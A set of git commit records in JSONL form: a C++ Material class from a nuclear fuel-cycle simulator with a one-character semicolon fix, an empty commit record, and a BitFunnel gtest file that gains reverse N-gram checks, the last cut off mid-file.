{"text":"<commit_before>\/\/ Material.cpp\n#include \"Material.h\"\n\n#include \"CycException.h\"\n#include \"CycLimits.h\"\n#include \"Timer.h\"\n#include \"Logger.h\"\n\n#include <cmath>\n#include <vector>\n#include <list>\n\nusing namespace std;\nusing namespace boost;\n\nlist<Material*> Material::materials_;\n\nbool Material::decay_wanted_ = false;\n\nint Material::decay_interval_ = 1;\n\nbool Material::type_is_recorded_ = false;\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nMaterial::Material() {\n  last_update_time_ = TI->time();\n  CLOG(LEV_INFO4) << \"Material ID=\" << ID_ << \" was created.\";\n  materials_.push_back(this);\n};\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nMaterial::~Material() {\n  materials_.remove(this);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nMaterial::Material(CompMapPtr comp) {\n  IsoVector vec = IsoVector(comp);\n  last_update_time_ = TI->time();\n  iso_vector_ = vec;\n  CLOG(LEV_INFO4) << \"Material ID=\" << ID_ << \" was created.\";\n};\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nMaterial::Material(IsoVector vec) {\n  last_update_time_ = TI->time();\n  iso_vector_ = vec;\n  CLOG(LEV_INFO4) << \"Material ID=\" << ID_ << \" was created.\";\n};\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nMaterial::Material(const Material& other) {\n  iso_vector_ = other.iso_vector_;\n  last_update_time_ = other.last_update_time_;\n  quantity_ = other.quantity_;\n  CLOG(LEV_INFO4) << \"Material ID=\" << ID_ << \" was created.\";\n};\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nvoid Material::absorb(mat_rsrc_ptr matToAdd) { \n  \/\/ @gidden figure out how to handle this with the database - mjg\n  \/\/ Get the given Material's composition.\n  double amt = matToAdd->quantity();\n  iso_vector_.mix(matToAdd->isoVector(),quantity_\/amt); \/\/ @MJG_FLAG this looks like it copies isoVector()... should this return a pointer?\n  quantity_ += amt;\n  CLOG(LEV_DEBUG2) << \"Material ID=\" << ID_ << \" absorbed material ID=\"\n                   << matToAdd->ID() << \".\";\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nmat_rsrc_ptr Material::extract(double mass) {\n  if(quantity_ < mass){\n    string err = \"The mass \";\n    err += mass;\n    err += \" cannot be extracted from Material with ID \";\n    err += ID_; \n    throw CycNegativeValueException(err);\n  }\n  \/\/ remove our mass\n  quantity_ -= mass;\n  \/\/ make a new material, set its mass\n  mat_rsrc_ptr new_mat = mat_rsrc_ptr(new Material(iso_vector_));\n  new_mat->setQuantity(mass);\n  \/\/ we just split a resource, so keep track of the original for book keeping\n  new_mat->setOriginalID( this->originalID() );\n\n  CLOG(LEV_DEBUG2) << \"Material ID=\" << ID_ << \" had \" << mass\n                   << \" kg extracted from it. New mass=\" << quantity() << \" kg.\";\n  \n  return new_mat;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nmat_rsrc_ptr Material::extract(const CompMapPtr comp_to_rem, double kg_to_rem) {\n \n  CompMapPtr new_comp = CompMapPtr(this->unnormalizeComp(MASS));\n  CompMapPtr remove_comp = comp_to_rem;\n  remove_comp->massify();\n  assert(!new_comp->normalized());\n  assert(remove_comp->normalized());\n\n  double new_kg, kg_to_rem_i, remainder_kg, remainder_kg_i;\n  remainder_kg = this->quantity();\n\n  int iso;\n\n  for (CompMap::iterator it = remove_comp->begin(); \n       it != remove_comp->end(); it++) {\n    \/\/ get isotopic information\n    kg_to_rem_i = it->second * kg_to_rem;\n    if ( kg_to_rem_i <= cyclus::eps_rsrc() ) { kg_to_rem_i = 0; };\n    iso = it->first;\n    remainder_kg_i = this->mass(iso) - kg_to_rem_i;\n\n    \/\/ check information\n    if ( remainder_kg_i < -cyclus::eps_rsrc() ) {\n      stringstream ss;\n      ss << \"The Material \" << this->ID() \n         << \" has insufficient material to extract the isotope : \" << iso ;\n      throw CycNegativeValueException(ss.str());\n    } else if (remainder_kg_i <= cyclus::eps_rsrc()) {\n      remainder_kg_i = 0; \n    };\n    \n    \/\/ operate on information\n    (*new_comp)[iso] = remainder_kg_i;\n    new_kg += kg_to_rem_i;\n    remainder_kg -= kg_to_rem_i;\n  }\n\n  \/\/ make new material\n  mat_rsrc_ptr new_mat = mat_rsrc_ptr(new Material(comp_to_rem));\n  new_mat->setQuantity(new_kg, KG);\n  new_mat->setOriginalID( this->originalID() ); \/\/ book keeping\n  \n  \/\/ adjust old material\n  this->iso_vector_ = IsoVector(new_comp); \n  this->setQuantity(remainder_kg, KG);\n\n  CLOG(LEV_DEBUG2) << \"Material ID=\" << ID_ << \" had composition extracted.\";\n\n  return new_mat;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nvoid Material::print() {\n  CLOG(LEV_INFO4) << \"Material ID=\" << ID_\n                   << \", quantity=\" << quantity() << \", units=\" << units();\n\n  CLOG(LEV_INFO5) << \"Composition {\";\n  CLOG(LEV_INFO5) << detail();\n  CLOG(LEV_INFO5) << \"}\";\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nstring Material::detail() {\n  vector<string>::iterator entry;\n  vector<string> entries = iso_vector_.comp()->compStrings();\n  for (entry = entries.begin(); entry != entries.end(); entry++) {\n    CLOG(LEV_INFO5) << \"   \" << *entry;\n  }\n  return \"\";\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nvoid Material::setQuantity(double quantity) {\n  quantity_ = quantity;\n  CLOG(LEV_DEBUG2) << \"Material ID=\" << ID_ << \" had mass set to\"\n                   << quantity << \" kg\";\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nvoid Material::setQuantity(double quantity, MassUnit unit) {\n  setQuantity( convertToKg(quantity,unit) );\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \ndouble Material::quantity() {\n  return quantity_;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \ndouble Material::mass(MassUnit unit) {\n  return convertFromKg(quantity(),unit);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \ndouble Material::mass(Iso tope, MassUnit unit) {\n  return convertFromKg(mass(tope),unit);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \ndouble Material::mass(Iso tope){\n  double to_ret;\n  CompMapPtr the_comp = isoVector().comp();\n  the_comp->massify();\n  if(the_comp->count(tope) != 0) {\n    to_ret = the_comp->massFraction(tope)*mass(KG);\n  } else {\n    to_ret = 0;\n  }\n  return to_ret;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \ndouble Material::convertFromKg(double mass, MassUnit to_unit) {\n  double converted;\n  switch( to_unit ) {\n    case G :\n      converted = mass*1000.0;\n      break;\n    case KG : \n      converted = mass;\n      break;\n    default:\n      throw CycException(\"The unit provided is not a supported mass unit.\");\n  }\n  return converted;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \ndouble Material::convertToKg(double mass, MassUnit from_unit) {\n  double in_kg;\n  switch( from_unit ) {\n    case G :\n      in_kg = mass\/1000.0;\n      break;\n    case KG : \n      in_kg = mass;\n      break;\n    default:\n      throw CycException(\"The unit provided is not a supported mass unit.\");\n  }\n  return in_kg;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \ndouble Material::moles(){\n  double m_a_ratio = isoVector().comp()->mass_to_atom_ratio();\n  return mass(G)\/m_a_ratio;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \ndouble Material::moles(Iso tope){\n  double to_ret;\n  CompMapPtr the_comp = isoVector().comp();\n  the_comp->atomify();\n  if(the_comp->count(tope) != 0) {\n    to_ret = moles()*isoVector().comp()->atomFraction(tope);\n  } else {\n    to_ret = 0;\n  }\n  return to_ret;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nCompMapPtr Material::unnormalizeComp(Basis basis){\n  CompMapPtr norm_comp = isoVector().comp();\n  double scaling;\n\n  switch(basis) {\n    case MASS :\n      norm_comp->massify();\n      scaling = this->mass(KG);\n      break;\n    case ATOM :\n      norm_comp->atomify();\n      scaling = this->moles();\n      break;\n    default : \n      throw CycException(\"The basis provided is not a supported CompMap basis\");\n  }\n  CompMapPtr full_comp = CompMapPtr(new CompMap(*norm_comp));\n  CompMap::iterator it;\n  for( it=norm_comp->begin(); it!= norm_comp->end(); ++it ){\n    (*full_comp)[it->first] = scaling*(it->second);\n  }\n\n  return full_comp;\n}\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nrsrc_ptr Material::clone() {\n  CLOG(LEV_DEBUG2) << \"Material ID=\" << ID_ << \" was cloned.\";\n  rsrc_ptr mat(new Material(*this));\n  mat->setQuantity(this->quantity());\n  return mat;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nbool Material::checkQuality(rsrc_ptr other){\n  \n  \/\/ This will be false until proven true\n  bool toRet = false;\n  IsoVector lhs_vec = iso_vector_;\n\n  try {\n    \/\/ Make sure the other is a material\n    mat_rsrc_ptr mat = dynamic_pointer_cast<Material>(other);\n    if (mat) {\n      toRet = true;\n    }\n  } catch (...) { }\n\n  CLOG(LEV_DEBUG1) << \"Material is checking quality, i.e. both are \"\n                   << \"Materials, and the answer is \" << toRet << \" with true = \" << true << \".\";\n\n  return toRet;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nvoid Material::decay() {\n  int curr_time = TI->time();\n  int delta_time = curr_time - last_update_time_;\n\n  isoVector().decay(delta_time);\n  last_update_time_ = curr_time;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nvoid Material::decayMaterials() {\n  for (list<Material*>::iterator mat = materials_.begin();\n      mat != materials_.end();\n      mat++){\n     (*mat)->decay();\n  }\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nbool Material::isMaterial(rsrc_ptr rsrc)\n{\n  mat_rsrc_ptr cast = dynamic_pointer_cast<Material>(rsrc);\n  return !(cast.get() == 0);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nvoid Material::addToTable() {\n  Resource::addToTable();\n  iso_vector_.record();\n}\n<commit_msg>removed superfluous semicolon<commit_after>\/\/ Material.cpp\n#include \"Material.h\"\n\n#include \"CycException.h\"\n#include \"CycLimits.h\"\n#include \"Timer.h\"\n#include \"Logger.h\"\n\n#include <cmath>\n#include <vector>\n#include <list>\n\nusing namespace std;\nusing namespace boost;\n\nlist<Material*> Material::materials_;\n\nbool Material::decay_wanted_ = false;\n\nint Material::decay_interval_ = 1;\n\nbool Material::type_is_recorded_ = false;\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nMaterial::Material() {\n  last_update_time_ = TI->time();\n  CLOG(LEV_INFO4) << \"Material ID=\" << ID_ << \" was created.\";\n  materials_.push_back(this);\n};\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nMaterial::~Material() {\n  materials_.remove(this);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nMaterial::Material(CompMapPtr comp) {\n  IsoVector vec = IsoVector(comp);\n  last_update_time_ = TI->time();\n  iso_vector_ = vec;\n  CLOG(LEV_INFO4) << \"Material ID=\" << ID_ << \" was created.\";\n};\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nMaterial::Material(IsoVector vec) {\n  last_update_time_ = TI->time();\n  iso_vector_ = vec;\n  CLOG(LEV_INFO4) << \"Material ID=\" << ID_ << \" was created.\";\n};\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nMaterial::Material(const Material& other) {\n  iso_vector_ = other.iso_vector_;\n  last_update_time_ = other.last_update_time_;\n  quantity_ = other.quantity_;\n  CLOG(LEV_INFO4) << \"Material ID=\" << ID_ << \" was created.\";\n};\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nvoid Material::absorb(mat_rsrc_ptr matToAdd) { \n  \/\/ @gidden figure out how to handle this with the database - mjg\n  \/\/ Get the given Material's composition.\n  double amt = matToAdd->quantity();\n  iso_vector_.mix(matToAdd->isoVector(),quantity_\/amt); \/\/ @MJG_FLAG this looks like it copies isoVector()... should this return a pointer?\n  quantity_ += amt;\n  CLOG(LEV_DEBUG2) << \"Material ID=\" << ID_ << \" absorbed material ID=\"\n                   << matToAdd->ID() << \".\";\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nmat_rsrc_ptr Material::extract(double mass) {\n  if(quantity_ < mass){\n    string err = \"The mass \";\n    err += mass;\n    err += \" cannot be extracted from Material with ID \";\n    err += ID_; \n    throw CycNegativeValueException(err);\n  }\n  \/\/ remove our mass\n  quantity_ -= mass;\n  \/\/ make a new material, set its mass\n  mat_rsrc_ptr new_mat = mat_rsrc_ptr(new Material(iso_vector_));\n  new_mat->setQuantity(mass);\n  \/\/ we just split a resource, so keep track of the original for book keeping\n  new_mat->setOriginalID( this->originalID() );\n\n  CLOG(LEV_DEBUG2) << \"Material ID=\" << ID_ << \" had \" << mass\n                   << \" kg extracted from it. New mass=\" << quantity() << \" kg.\";\n  \n  return new_mat;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nmat_rsrc_ptr Material::extract(const CompMapPtr comp_to_rem, double kg_to_rem) {\n \n  CompMapPtr new_comp = CompMapPtr(this->unnormalizeComp(MASS));\n  CompMapPtr remove_comp = comp_to_rem;\n  remove_comp->massify();\n  assert(!new_comp->normalized());\n  assert(remove_comp->normalized());\n\n  double new_kg, kg_to_rem_i, remainder_kg, remainder_kg_i;\n  remainder_kg = this->quantity();\n\n  int iso;\n\n  for (CompMap::iterator it = remove_comp->begin(); \n       it != remove_comp->end(); it++) {\n    \/\/ get isotopic information\n    kg_to_rem_i = it->second * kg_to_rem;\n    if ( kg_to_rem_i <= cyclus::eps_rsrc() ) { kg_to_rem_i = 0; };\n    iso = it->first;\n    remainder_kg_i = this->mass(iso) - kg_to_rem_i;\n\n    \/\/ check information\n    if ( remainder_kg_i < -cyclus::eps_rsrc() ) {\n      stringstream ss;\n      ss << \"The Material \" << this->ID() \n         << \" has insufficient material to extract the isotope : \" << iso ;\n      throw CycNegativeValueException(ss.str());\n    } else if (remainder_kg_i <= cyclus::eps_rsrc()) {\n      remainder_kg_i = 0; \n    }\n    \n    \/\/ operate on information\n    (*new_comp)[iso] = remainder_kg_i;\n    new_kg += kg_to_rem_i;\n    remainder_kg -= kg_to_rem_i;\n  }\n\n  \/\/ make new material\n  mat_rsrc_ptr new_mat = mat_rsrc_ptr(new Material(comp_to_rem));\n  new_mat->setQuantity(new_kg, KG);\n  new_mat->setOriginalID( this->originalID() ); \/\/ book keeping\n  \n  \/\/ adjust old material\n  this->iso_vector_ = IsoVector(new_comp); \n  this->setQuantity(remainder_kg, KG);\n\n  CLOG(LEV_DEBUG2) << \"Material ID=\" << ID_ << \" had composition extracted.\";\n\n  return new_mat;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nvoid Material::print() {\n  CLOG(LEV_INFO4) << \"Material ID=\" << ID_\n                   << \", quantity=\" << quantity() << \", units=\" << units();\n\n  CLOG(LEV_INFO5) << \"Composition {\";\n  CLOG(LEV_INFO5) << detail();\n  CLOG(LEV_INFO5) << \"}\";\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nstring Material::detail() {\n  vector<string>::iterator entry;\n  vector<string> entries = iso_vector_.comp()->compStrings();\n  for (entry = entries.begin(); entry != entries.end(); entry++) {\n    CLOG(LEV_INFO5) << \"   \" << *entry;\n  }\n  return \"\";\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nvoid Material::setQuantity(double quantity) {\n  quantity_ = quantity;\n  CLOG(LEV_DEBUG2) << \"Material ID=\" << ID_ << \" had mass set to\"\n                   << quantity << \" kg\";\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nvoid Material::setQuantity(double quantity, MassUnit unit) {\n  setQuantity( convertToKg(quantity,unit) );\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \ndouble Material::quantity() {\n  return quantity_;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \ndouble Material::mass(MassUnit unit) {\n  return convertFromKg(quantity(),unit);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \ndouble Material::mass(Iso tope, MassUnit unit) {\n  return convertFromKg(mass(tope),unit);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \ndouble Material::mass(Iso tope){\n  double to_ret;\n  CompMapPtr the_comp = isoVector().comp();\n  the_comp->massify();\n  if(the_comp->count(tope) != 0) {\n    to_ret = the_comp->massFraction(tope)*mass(KG);\n  } else {\n    to_ret = 0;\n  }\n  return to_ret;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \ndouble Material::convertFromKg(double mass, MassUnit to_unit) {\n  double converted;\n  switch( to_unit ) {\n    case G :\n      converted = mass*1000.0;\n      break;\n    case KG : \n      converted = mass;\n      break;\n    default:\n      throw CycException(\"The unit provided is not a supported mass unit.\");\n  }\n  return converted;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \ndouble Material::convertToKg(double mass, MassUnit from_unit) {\n  double in_kg;\n  switch( from_unit ) {\n    case G :\n      in_kg = mass\/1000.0;\n      break;\n    case KG : \n      in_kg = mass;\n      break;\n    default:\n      throw CycException(\"The unit provided is not a supported mass unit.\");\n  }\n  return in_kg;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \ndouble Material::moles(){\n  double m_a_ratio = isoVector().comp()->mass_to_atom_ratio();\n  return mass(G)\/m_a_ratio;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \ndouble Material::moles(Iso tope){\n  double to_ret;\n  CompMapPtr the_comp = isoVector().comp();\n  the_comp->atomify();\n  if(the_comp->count(tope) != 0) {\n    to_ret = moles()*isoVector().comp()->atomFraction(tope);\n  } else {\n    to_ret = 0;\n  }\n  return to_ret;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nCompMapPtr Material::unnormalizeComp(Basis basis){\n  CompMapPtr norm_comp = isoVector().comp();\n  double scaling;\n\n  switch(basis) {\n    case MASS :\n      norm_comp->massify();\n      scaling = this->mass(KG);\n      break;\n    case ATOM :\n      norm_comp->atomify();\n      scaling = this->moles();\n      break;\n    default : \n      throw CycException(\"The basis provided is not a supported CompMap basis\");\n  }\n  CompMapPtr full_comp = CompMapPtr(new CompMap(*norm_comp));\n  CompMap::iterator it;\n  for( it=norm_comp->begin(); it!= norm_comp->end(); ++it ){\n    (*full_comp)[it->first] = scaling*(it->second);\n  }\n\n  return full_comp;\n}\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nrsrc_ptr Material::clone() {\n  CLOG(LEV_DEBUG2) << \"Material ID=\" << ID_ << \" was cloned.\";\n  rsrc_ptr mat(new Material(*this));\n  mat->setQuantity(this->quantity());\n  return mat;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -    \nbool Material::checkQuality(rsrc_ptr other){\n  \n  \/\/ This will be false until proven true\n  bool toRet = false;\n  IsoVector lhs_vec = iso_vector_;\n\n  try {\n    \/\/ Make sure the other is a material\n    mat_rsrc_ptr mat = dynamic_pointer_cast<Material>(other);\n    if (mat) {\n      toRet = true;\n    }\n  } catch (...) { }\n\n  CLOG(LEV_DEBUG1) << \"Material is checking quality, i.e. both are \"\n                   << \"Materials, and the answer is \" << toRet << \" with true = \" << true << \".\";\n\n  return toRet;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nvoid Material::decay() {\n  int curr_time = TI->time();\n  int delta_time = curr_time - last_update_time_;\n\n  isoVector().decay(delta_time);\n  last_update_time_ = curr_time;\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nvoid Material::decayMaterials() {\n  for (list<Material*>::iterator mat = materials_.begin();\n      mat != materials_.end();\n      mat++){\n     (*mat)->decay();\n  }\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \nbool Material::isMaterial(rsrc_ptr rsrc)\n{\n  mat_rsrc_ptr cast = dynamic_pointer_cast<Material>(rsrc);\n  return !(cast.get() == 0);\n}\n\n\/\/- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nvoid Material::addToTable() {\n  Resource::addToTable();\n  iso_vector_.record();\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Now only storing the actual fractional denominator<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ The MIT License (MIT)\n\n\/\/ Copyright (c) 2016, Microsoft\n\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\n#include <array>\n\n#include \"gtest\/gtest.h\"\n\n#include \"BitFunnel\/Index\/Factories.h\"\n#include \"BitFunnel\/Index\/IConfiguration.h\"\n#include \"BitFunnel\/Index\/IIndexedIdfTable.h\"\n#include \"Document.h\"\n\n\nnamespace BitFunnel\n{\n    TEST(Document, ContainsTerm)\n    {\n        const Term::StreamId streamId = 0;\n        const DocId docId = 0;\n        const size_t gramSize = 1;\n\n        auto idfTable = Factories::CreateIndexedIdfTable();\n        auto config =\n            Factories::CreateConfiguration(gramSize, false, *idfTable);\n        Document d(*config, docId);\n\n        std::array<char const *, 5> text {{\n            \"one\",\n            \"two\",\n            \"three\",\n            \"four\",\n            \"five\"\n         }};\n\n        d.OpenStream(streamId);\n        for (auto word : text)\n        {\n            d.AddTerm(word);\n        }\n        d.CloseStream();\n        d.CloseDocument(0);\n\n        for (auto word : text)\n        {\n            Term term(word, streamId, *config);\n            EXPECT_TRUE(d.Contains(term));\n        }\n\n        \/\/ TODO: check other 2-grams.\n        Term twoGram(text[0], streamId, *config);\n        Term partTwo(text[1], streamId, *config);\n        twoGram.AddTerm(partTwo, *config);\n        EXPECT_FALSE(d.Contains(twoGram));\n\n        Term unexpected(\"unexpected\", streamId, *config);\n        EXPECT_FALSE(d.Contains(unexpected));\n    }\n\n\n    TEST(Document, containsNGram)\n    {\n        const Term::StreamId streamId = 0;\n        const DocId docId = 0;\n        const size_t gramSize = 5;\n\n        auto idfTable = Factories::CreateIndexedIdfTable();\n        auto config =\n            Factories::CreateConfiguration(gramSize, false, *idfTable);\n        Document d(*config, docId);\n\n        std::array<char const *, 5> text {{\n            \"one\",\n            \"two\",\n            \"three\",\n            \"four\",\n            \"five\"\n         }};\n\n        d.OpenStream(streamId);\n        for (auto word : text)\n        {\n            d.AddTerm(word);\n        }\n        d.CloseStream();\n        d.CloseDocument(0);\n\n        for (size_t i = 0; i < text.size(); i++)\n        {\n            Term term(text[i], streamId, *config);\n            for (size_t j = i+1; j < text.size(); ++j)\n            {\n                Term subTerm(text[j], streamId, *config);\n                term.AddTerm(subTerm, *config);\n                EXPECT_TRUE(d.Contains(subTerm));\n                EXPECT_TRUE(d.Contains(term));\n            }\n        }\n\n        Term unexpected(\"unexpected\", streamId, *config);\n        EXPECT_FALSE(d.Contains(unexpected));\n    }\n}\n<commit_msg>Add more negative checks in DocumentTest.<commit_after>\/\/ The MIT License (MIT)\n\n\/\/ Copyright (c) 2016, Microsoft\n\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\n#include <array>\n\n#include \"gtest\/gtest.h\"\n\n#include \"BitFunnel\/Index\/Factories.h\"\n#include \"BitFunnel\/Index\/IConfiguration.h\"\n#include \"BitFunnel\/Index\/IIndexedIdfTable.h\"\n#include \"Document.h\"\n\n\nnamespace BitFunnel\n{\n    TEST(Document, ContainsTerm)\n    {\n        const Term::StreamId streamId = 0;\n        const DocId docId = 0;\n        const size_t gramSize = 1;\n\n        auto idfTable = Factories::CreateIndexedIdfTable();\n        auto config =\n            Factories::CreateConfiguration(gramSize, false, *idfTable);\n        Document d(*config, docId);\n\n        std::array<char const *, 5> text {{\n            \"one\",\n            \"two\",\n            \"three\",\n            \"four\",\n            \"five\"\n         }};\n\n        d.OpenStream(streamId);\n        for (auto word : text)\n        {\n            d.AddTerm(word);\n        }\n        d.CloseStream();\n        d.CloseDocument(0);\n\n        for (auto word : text)\n        {\n            Term term(word, streamId, *config);\n            EXPECT_TRUE(d.Contains(term));\n        }\n\n        \/\/ TODO: check other 2-grams.\n        Term twoGram(text[0], streamId, *config);\n        Term partTwo(text[1], streamId, *config);\n        twoGram.AddTerm(partTwo, *config);\n        EXPECT_FALSE(d.Contains(twoGram));\n\n        Term unexpected(\"unexpected\", streamId, *config);\n        EXPECT_FALSE(d.Contains(unexpected));\n    }\n\n\n    TEST(Document, containsNGram)\n    {\n        const Term::StreamId streamId = 0;\n        const DocId docId = 0;\n        const size_t gramSize = 5;\n\n        auto idfTable = Factories::CreateIndexedIdfTable();\n        auto config =\n            Factories::CreateConfiguration(gramSize, false, *idfTable);\n        Document d(*config, docId);\n\n        std::array<char const *, 5> text {{\n            \"one\",\n            \"two\",\n            \"three\",\n            \"four\",\n            \"five\"\n         }};\n\n        d.OpenStream(streamId);\n        for (auto word : text)\n        {\n            d.AddTerm(word);\n        }\n        d.CloseStream();\n        d.CloseDocument(0);\n\n        \/\/ Check for each N-gram.\n        for (size_t i = 0; i < text.size(); ++i)\n        {\n            Term term(text[i], streamId, *config);\n            for (size_t j = i+1; j < text.size(); ++j)\n            {\n                Term subTerm(text[j], streamId, *config);\n                term.AddTerm(subTerm, *config);\n                EXPECT_TRUE(d.Contains(subTerm));\n                EXPECT_TRUE(d.Contains(term));\n            }\n        }\n\n        \/\/ Check that reverse N-grams aren't included.\n        for (int i = text.size()-1; i >= 0; --i)\n        {\n            Term term(text[i], streamId, *config);\n            for (int j = i-1; j >= 0; --j)\n            {\n                Term subTerm(text[j], streamId, *config);\n                term.AddTerm(subTerm, *config);\n                EXPECT_FALSE(d.Contains(term));\n            }\n        }\n\n        Term unexpected(\"unexpected\", streamId, *config);\n        EXPECT_FALSE(d.Contains(unexpected));\n    